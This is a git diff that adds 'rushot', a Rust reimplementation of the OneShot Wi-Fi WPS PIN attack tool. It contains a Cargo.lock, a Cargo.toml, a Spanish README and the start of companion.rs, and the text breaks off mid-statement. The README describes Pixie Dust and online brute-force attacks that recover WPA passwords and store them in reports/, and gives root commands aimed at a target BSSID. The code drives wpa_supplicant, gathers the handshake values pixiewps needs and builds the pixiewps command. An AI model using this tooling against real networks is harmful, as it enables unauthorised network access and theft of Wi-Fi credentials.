diff --git a/.gitignore b/.gitignore index ab951f8..6aa4365 100644 --- a/.gitignore +++ b/.gitignore @@ -1,22 +1,11 @@ -# ---> Rust -# Generated by Cargo -# will have compiled files and executables -debug/ -target/ +__pycache__/ +*.py[cod] +*$py.class -# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries -# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html -Cargo.lock +reports/ -# These are backup files generated by rustfmt -**/*.rs.bk -# MSVC Windows builds of rustc generate these, which store debugging information -*.pdb -# RustRover -# JetBrains specific template is maintained in a separate JetBrains.gitignore that can -# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore -# and can be added to the global gitignore or merged into this file. For a more nuclear -# option (not recommended) you can uncomment the following to ignore the entire idea folder. -#.idea/ +# Added by cargo + +/target diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..a0b70d8 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,683 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "aho-corasick" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" +dependencies = [ + "memchr", +] + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "anstream" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "824a212faf96e9acacdbd09febd34438f8f711fb84e09a8916013cd7815ca28d" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "is_terminal_polyfill", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "940b3a0ca603d1eade50a4846a2afffd5ef57a9feac2c0e2ec2e14f9ead76000" + +[[package]] +name = "anstyle-parse" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52ce7f38b242319f7cabaa6813055467063ecdc9d355bbb4ce0c68908cd8130e" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d" +dependencies = [ + "anstyle", + "once_cell_polyfill", + "windows-sys 0.61.2", +] + +[[package]] +name = "autocfg" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + +[[package]] +name = "bitflags" +version = "2.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b588b76d00fde79687d7646a9b5bdf3cc0f655e0bbd080335a95d7e96f3587da" + +[[package]] +name = "bumpalo" +version = "3.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72f5acc6cb2ba439de613abc23857ec3d78374d8ed5ac84e9d11336e87da8649" + +[[package]] +name = "cc" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5add81bb678e6cb321aff7fa0dc7689ad82b112dbc032cea19f91d6b8e3582b9" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "chrono" +version = "0.4.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1aa79e62e7697b8e29b513a68abacf485adcd1fe8284a4316c5ae868e6633327" +dependencies = [ + "iana-time-zone", + "js-sys", + "num-traits", + "wasm-bindgen", + "windows-link", +] + +[[package]] +name = "clap" +version = "4.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d91e0c145792ef73a6ad36d27c75ac09f1832222a3c209689d90f534685ee5b7" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f09628afdcc538b57f3c6341e9c8e9970f18e4a481690a64974d7023bd33548b" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d012d2b9d65aca7f18f4d9878a045bc17899bba951561ba5ec3c2ba1eed9a061" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 3.0.3", +] + +[[package]] +name = "clap_lex" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8d4a3bb8b1e0c1050499d1815f5ab16d04f0959b233085fb31653fbfc9d98f9" + +[[package]] +name = "colorchoice" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d07550c9036bf2ae0c684c4297d503f838287c83c53686d05370d0e139ae570" + +[[package]] +name = "colored" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "117725a109d387c937a1533ce01b450cbde6b88abceea8473c4d7a85853cda3c" +dependencies = [ + "lazy_static", + "windows-sys 0.59.0", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "fastrand" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223" + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "futures-core" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2cd50c473c80f6d7c3670a752354b8e569b1a7cbfdc0419ec88e5edad85e0dc7" + +[[package]] +name = "futures-task" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b231ed28831efb4a61a08580c4bc233ec56bc009f4cd8f52da2c3cb97df0c109" + +[[package]] +name = "futures-util" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a77a90a256fce34da66415271e30f94ee91c57b04b8a2c042d9cf3220179deaa" +dependencies = [ + "futures-core", + "futures-task", + "pin-project-lite", + "slab", +] + +[[package]] +name = "getrandom" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099" +dependencies = [ + "cfg-if", + "libc", + "r-efi", +] + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "iana-time-zone" +version = "0.1.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "log", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "is_terminal_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695" + +[[package]] +name = "js-sys" +version = "0.3.103" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53b44bfcdb3f8d5837a46dae1ca9660a837176eee74a28b229bc626816589102" +dependencies = [ + "cfg-if", + "futures-util", + "wasm-bindgen", +] + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "libc" +version = "0.2.189" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3eaf3ede3fee6db1a4c2ee091bf8a8b4dccdc6d17f656fb07896ee72867612f2" + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "log" +version = "0.4.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ceec5bc11778974d1bcb055b18002eba7f4b3518b6a0081b3af5f21666da9ad" + +[[package]] +name = "memchr" +version = "2.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "once_cell_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "proc-macro2" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "regex" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f020237b6c8eed93db2e2cb53c00c60a8e1bc73da7d073199a1180401450218d" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fcfdb36bda0c880c5931cdc7a2bcdc8ba4556847b9d912bca70bc94708711ad" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4" + +[[package]] +name = "rushot" +version = "0.1.0" +dependencies = [ + "chrono", + "clap", + "colored", + "libc", + "regex", + "tempfile", + "unicode-width", +] + +[[package]] +name = "rustix" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustversion" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f" + +[[package]] +name = "shlex" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "syn" +version = "2.0.119" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "3.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53e9bae58849f64dfa4f5d5ae372c8341f7305f82a3868709269343628b659a3" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom", + "once_cell", + "rustix", + "windows-sys 0.61.2", +] + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "unicode-width" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7dd6e30e90baa6f72411720665d41d89b9a3d039dc45b8faea1ddd07f617f6af" + +[[package]] +name = "utf8parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" + +[[package]] +name = "wasm-bindgen" +version = "0.2.126" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b067c0c11094aef6b7a801c1e34a26affafdf3d051dba08456b868789aaf9a4" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.126" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "167ce5e579f6bcf889c4f7175a8a5a585de84e8ff93976ce393efa5f2837aab1" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.126" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3997c7839262f4ef12cf90b818d6340c18e80f263f1a94bf157d0ec4420380e" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn 2.0.119", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.126" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc1b4cb0cc549fcf58d7dfc081778139b3d283a081644e833e84682ad71cea24" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "windows-core" +version = "0.62.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link", + "windows-result", + "windows-strings", +] + +[[package]] +name = "windows-implement" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "windows-interface" +version = "0.59.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-result" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..596b753 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,15 @@ +[package] +name = "rushot" +version = "0.1.0" +edition = "2021" +authors = ["JesusChapman"] +description = "Wi-Fi WPA WPS PIN attack tool in Rust" + +[dependencies] +clap = { version = "4.4", features = ["derive"] } +regex = "1.10" +unicode-width = "0.1" +chrono = "0.4" +colored = "2.0" +libc = "0.2" +tempfile = "3.8" diff --git a/README.md b/README.md index d442de5..676c210 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,96 @@ # rushot -A WPS pin dumper written in rust, bases on OneShot \ No newline at end of file +**rushot** es una reimplementación en **Rust** de la herramienta de ataque Wi-Fi WPA WPS PIN y escáner de redes WPS (*OneShot*). Diseñada para ofrecer máxima velocidad, eficiencia de memoria y ejecuciones seguras a bajo nivel. + +**Autor:** JesusChapman + +--- + +## 🚀 Características + +- **Escaneo WPS Inteligente:** Interacción dinámica con `iw dev scan`, formateo con ancho de caracteres Unicode (`unicode-width`) y resaltado de color ANSI (redes vulnerables, bloqueadas y guardadas). +- **Algoritmos de PIN WPS** Generación automática de PINs según la dirección MAC (24-bit, 28-bit, 32-bit, D-Link, D-Link+1, ASUS, Airocon y PINs estáticos predefinidos). +- **Ataque Pixie Dust:** Integración directa con `pixiewps` para la captura de credenciales y extracción de la clave WPA PSK. +- **Ataque Bruteforce Online:** Algoritmo inteligente por fases (primera y segunda mitad de PIN) con cálculo de velocidad (segundos por PIN) y persistencia de sesión. +- **Conexión PBC (Push Button Connect):** Soporte para emparejamiento por botón WPS. +- **Persistencia de Resultados:** Guardado automático de credenciales obtenidas en `reports/stored.txt` y `reports/stored.csv`. +- **Soporte MediaTek:** Opción `--mtk-wifi` para activar el controlador en dispositivos MediaTek (`/dev/wmtWifi`). + +--- + +## 📋 Requisitos + +- **Permisos de Superusuario (Root):** Requerido para manipular la interfaz de red e interactuar con sockets Unix de `wpa_supplicant`. +- **Herramientas del Sistema:** + - `wpa_supplicant` (compilado con soporte WPS `CONFIG_WPS=y`) + - `iw` y `iproute2` (`ip`) + - `pixiewps` *(opcional, necesario únicamente para el ataque Pixie Dust `-K`)* + +--- + +## 🛠️ Compilación e Instalación + +```bash +git clone https://github.com/JesusChapman/rushot.git +cd rushot +cargo build --release +``` + +El binario compilado estará ubicado en `target/release/rushot`. + +--- + +## 💻 Uso + +```text +rushot 0.1.0 +Autor: JesusChapman +Wi-Fi WPA WPS PIN attack and scanning tool in Rust + +Uso: rushot -i [OPCIONES] +``` + +### Argumentos Principales: + +| Argumento | Descripción | +| :--- | :--- | +| `-i, --interface ` | Nombre de la interfaz de red inalámbrica *(requerido)* | +| `-b, --bssid ` | BSSID del punto de acceso objetivo | +| `-p, --pin ` | Especifica un PIN manual (4 u 8 dígitos) | +| `-K, --pixie-dust` | Ejecuta el ataque Pixie Dust | +| `-F, --pixie-force` | Ejecuta `pixiewps` con la opción `--force` | +| `-X, --show-pixie-cmd` | Muestra el comando de `pixiewps` ejecutado | +| `-B, --bruteforce` | Ejecuta ataque de fuerza bruta online | +| `--pbc` | Inicia conexión WPS por botón | +| `-d, --delay ` | Retardo entre intentos de PIN (segundos) | +| `-w, --write` | Guarda las credenciales obtenidas en `reports/` | +| `--iface-down` | Desactiva la interfaz al finalizar | +| `-l, --loop` | Modo en bucle continuo | +| `-r, --reverse-scan` | Invierte el orden de las redes en la lista mostrada | +| `--mtk-wifi` | Activa/desactiva controlador Wi-Fi MediaTek | +| `-v, --verbose` | Salida detallada de depuración | + +--- + +## 📌 Ejemplos + +Escaneo interactivo de redes WPS en `wlan0`: +```bash +sudo rushot -i wlan0 +``` + +Ataque Pixie Dust a un BSSID específico y guardado de resultados: +```bash +sudo rushot -i wlan0 -b 00:90:4C:C1:AC:21 -K -w +``` + +Ataque de fuerza bruta online con retardo de 2 segundos: +```bash +sudo rushot -i wlan0 -b 00:90:4C:C1:AC:21 -B -d 2.0 +``` + +--- + +## 📄 Licencia + +Este proyecto se distribuye balo licensia [GPL-3.0](./LICENSE) diff --git a/src/companion.rs b/src/companion.rs new file mode 100644 index 0000000..add9604 --- /dev/null +++ b/src/companion.rs @@ -0,0 +1,891 @@ +use crate::wpspin::WPSpin; +use chrono::Local; +use std::collections::VecDeque; +use std::fs::{self, File, OpenOptions}; +use std::io::{self, BufRead, BufReader, Write}; +use std::os::unix::net::UnixDatagram; +use std::path::PathBuf; +use std::process::{Child, Command, Stdio}; +use std::thread; +use std::time::{Duration, Instant}; +use tempfile::TempDir; + +pub struct PixiewpsData { + pub pke: String, + pub pkr: String, + pub e_hash1: String, + pub e_hash2: String, + pub authkey: String, + pub e_nonce: String, +} + +impl PixiewpsData { + pub fn new() -> Self { + Self { + pke: String::new(), + pkr: String::new(), + e_hash1: String::new(), + e_hash2: String::new(), + authkey: String::new(), + e_nonce: String::new(), + } + } + + pub fn clear(&mut self) { + *self = Self::new(); + } + + pub fn got_all(&self) -> bool { + !self.pke.is_empty() + && !self.pkr.is_empty() + && !self.e_nonce.is_empty() + && !self.authkey.is_empty() + && !self.e_hash1.is_empty() + && !self.e_hash2.is_empty() + } + + pub fn get_pixie_cmd(&self, full_range: bool) -> String { + let mut cmd = format!( + "pixiewps --pke {} --pkr {} --e-hash1 {} --e-hash2 {} --authkey {} --e-nonce {}", + self.pke, self.pkr, self.e_hash1, self.e_hash2, self.authkey, self.e_nonce + ); + if full_range { + cmd.push_str(" --force"); + } + cmd + } +} + +pub struct ConnectionStatus { + pub status: String, + pub last_m_message: u32, + pub essid: String, + pub wpa_psk: String, + pub bssid: String, +} + +impl ConnectionStatus { + pub fn new() -> Self { + Self { + status: String::new(), + last_m_message: 0, + essid: String::new(), + wpa_psk: String::new(), + bssid: String::new(), + } + } + + pub fn is_first_half_valid(&self) -> bool { + self.last_m_message > 5 + } + + pub fn clear(&mut self) { + *self = Self::new(); + } +} + +pub struct BruteforceStatus { + pub start_time: String, + pub mask: String, + pub last_attempt_time: Instant, + pub attempts_times: VecDeque, + pub counter: usize, + pub statistics_period: usize, +} + +impl BruteforceStatus { + pub fn new() -> Self { + Self { + start_time: Local::now().format("%Y-%m-%d %H:%M:%S").to_string(), + mask: String::new(), + last_attempt_time: Instant::now(), + attempts_times: VecDeque::with_capacity(15), + counter: 0, + statistics_period: 5, + } + } + + pub fn display_status(&self) { + if self.attempts_times.is_empty() { + return; + } + let sum: f64 = self.attempts_times.iter().sum(); + let average_pin_time = sum / (self.attempts_times.len() as f64); + + let percentage = if self.mask.len() == 4 { + self.mask.parse::().unwrap_or(0.0) / 11000.0 * 100.0 + } else if self.mask.len() >= 7 { + let s_half = self.mask[4..].parse::().unwrap_or(0.0); + ((10000.0 / 11000.0) + (s_half / 11000.0)) * 100.0 + } else { + 0.0 + }; + + println!( + "[*] {:.2}% complete @ {} ({:.2} seconds/pin)", + percentage, self.start_time, average_pin_time + ); + } + + pub fn register_attempt(&mut self, mask: String) { + self.mask = mask; + self.counter += 1; + let now = Instant::now(); + let elapsed = now.duration_since(self.last_attempt_time).as_secs_f64(); + if self.attempts_times.len() >= 15 { + self.attempts_times.pop_front(); + } + self.attempts_times.push_back(elapsed); + self.last_attempt_time = now; + + if self.counter == self.statistics_period { + self.counter = 0; + self.display_status(); + } + } +} + +pub struct Companion { + pub interface: String, + pub save_result: bool, + pub print_debug: bool, + pub bssid: String, + pub last_pwr: String, + + pub _tempdir: TempDir, + pub _tempconf: PathBuf, + pub wpas_ctrl_path: PathBuf, + pub res_socket_file: PathBuf, + pub retsock: UnixDatagram, + pub wpas: Child, + + pub pixie_creds: PixiewpsData, + pub connection_status: ConnectionStatus, + pub bruteforce: Option, + + pub sessions_dir: PathBuf, + pub pixiewps_dir: PathBuf, + pub reports_dir: PathBuf, + pub generator: WPSpin, +} + +fn get_hex(line: &str) -> String { + let parts: Vec<&str> = line.splitn(4, ':').collect(); + if parts.len() >= 3 { + parts[2].replace(' ', "").to_uppercase() + } else { + String::new() + } +} + +fn parse_hex_to_string(hex: &str) -> String { + let mut bytes = Vec::new(); + let chars: Vec = hex.chars().collect(); + for i in (0..chars.len()).step_by(2) { + if i + 1 < chars.len() { + let s: String = [chars[i], chars[i + 1]].iter().collect(); + if let Ok(b) = u8::from_str_radix(&s, 16) { + bytes.push(b); + } + } + } + String::from_utf8_lossy(&bytes).to_string() +} + +impl Companion { + pub fn new( + interface: String, + save_result: bool, + print_debug: bool, + bssid: String, + ) -> Result { + let tempdir = tempfile::tempdir().map_err(|e| e.to_string())?; + let tempconf = tempdir.path().join("wpa_supplicant.conf"); + + let conf_content = format!( + "ctrl_interface={}\nctrl_interface_group=root\nupdate_config=1\n", + tempdir.path().display() + ); + fs::write(&tempconf, conf_content).map_err(|e| e.to_string())?; + + let wpas_ctrl_path = tempdir.path().join(&interface); + + println!("[*] Running wpa_supplicant…"); + let cmd = format!( + "wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i{} -c{}", + interface, + tempconf.display() + ); + + let wpas = Command::new("sh") + .arg("-c") + .arg(&cmd) + .stdout(Stdio::piped()) + .stderr(Stdio::inherit()) + .spawn() + .map_err(|e| format!("Failed to start wpa_supplicant: {}", e))?; + + // Wait for control socket file to exist + let start = Instant::now(); + while !wpas_ctrl_path.exists() { + thread::sleep(Duration::from_millis(100)); + if start.elapsed() > Duration::from_secs(10) { + return Err("Timeout waiting for wpa_supplicant control interface".to_string()); + } + } + + let res_socket_file = tempfile::Builder::new() + .prefix("rushot_sock_") + .tempfile() + .map_err(|e| e.to_string())? + .path() + .to_path_buf(); + // Remove tempfile so UnixDatagram bind succeeds + let _ = fs::remove_file(&res_socket_file); + + let retsock = UnixDatagram::bind(&res_socket_file) + .map_err(|e| format!("Failed to bind datagram socket: {}", e))?; + + let home_dir = 